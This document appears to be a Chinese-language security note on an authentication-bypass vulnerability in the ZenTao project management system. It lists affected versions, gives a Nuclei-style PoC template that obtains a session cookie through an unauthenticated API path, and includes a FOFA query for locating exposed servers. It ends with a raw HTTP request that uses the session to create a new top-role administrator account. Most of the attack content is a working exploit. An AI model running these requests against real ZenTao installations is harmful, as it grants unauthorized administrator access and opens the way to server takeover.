2024-04-26 22:26:59 +08:00
|
|
|
|
## 禅道项目管理系统身份认证绕过漏洞
|
|
|
|
|
|
|
|
|
|
|
|
禅道项目管理系统存在身份认证绕过漏洞,远程攻击者利用该漏洞可以绕过身份认证,调用任意API接口并修改管理员用户的密码,并以管理员用户登录该系统,配合其他漏洞进一步利用后就可以实现完全接管服务器。
|
|
|
|
|
|
|
|
|
|
|
|
## 影响版本
|
|
|
|
|
|
```
|
|
|
|
|
|
16.x <= 禅道项目管理系统< 18.12（开源版）
|
|
|
|
|
|
6.x <= 禅道项目管理系统< 8.12（企业版）
|
|
|
|
|
|
3.x <= 禅道项目管理系统< 4.12（旗舰版）
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
## poc
|
|
|
|
|
|
```
|
|
|
|
|
|
id: easycorp-zentao-pms-idor
|
|
|
|
|
|
|
|
|
|
|
|
info:
|
|
|
|
|
|
name: 禅道项目管理系统身份认证绕过漏洞
|
|
|
|
|
|
author: GuoRong_X
|
|
|
|
|
|
severity: critical
|
|
|
|
|
|
description: |
|
|
|
|
|
|
- 禅道系统某些API设计为通过特定的鉴权函数进行验证，但在实际实现中，这个鉴权函数在鉴权失败后并不中断请求，而是仅返回一个错误标志，这个返回值在后续没有被适当处理。此外，该系统在处理某些API时未能有效检查用户身份，允许未认证的用户执行某些操作，从而绕过鉴权机制。
|
|
|
|
|
|
reference:
|
|
|
|
|
|
- https://mp.weixin.qq.com/s/hiGI_fQmXOHdkPqn6x00Jw
|
|
|
|
|
|
metadata:
|
|
|
|
|
|
verified: true
|
|
|
|
|
|
fofa-query: title="用户登录- 禅道"
|
|
|
|
|
|
tags: zentao
|
|
|
|
|
|
|
|
|
|
|
|
http:
|
|
|
|
|
|
- method: GET
|
|
|
|
|
|
path:
|
|
|
|
|
|
- "{{BaseURL}}/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu"
|
|
|
|
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
|
|
matchers:
|
|
|
|
|
|
- type: word
|
|
|
|
|
|
part: header
|
|
|
|
|
|
words:
|
|
|
|
|
|
- 'Set-Cookie: zentaosid='
|
|
|
|
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
|
|
status:
|
|
|
|
|
|
- 200
|
|
|
|
|
|
# digest: 4a0a0047304502200b7a7cb58af457a9e566160cfdc539a99325db1513d5e4172a9a0a66f2f44e63022100fe0cc4ffd848c733eba3240bf102695253caa1420845a2b8aec5ca731e394759:58d4ffcb61df0489d6ab2fd018c17de6
|
|
|
|
|
|
```
|
2024-04-29 18:27:42 +08:00
|
|
|
|
|
|
|
|
|
|
## 添加用户poc
|
|
|
|
|
|
```
|
2024-04-29 19:03:13 +08:00
|
|
|
|
POST /biz/api.php/v1/users HTTP/1.1
|
|
|
|
|
|
Host: 192.168.0.102
|
|
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
|
|
|
|
|
|
Cookie: zentaosid=d95c19a900256b7dc3c3f1866b1d121c
|
2024-04-29 18:27:42 +08:00
|
|
|
|
|
2024-04-29 19:03:13 +08:00
|
|
|
|
{"account": "asda33", "password": "QQqq123456", "realname": "asda33", "role": "top", "group": "1"}
|
|
|
|
|
|
```
|
|
|
|
|
|
|
2024-04-29 18:27:42 +08:00
|
|
|
|
|
|
|
|
|
|
|
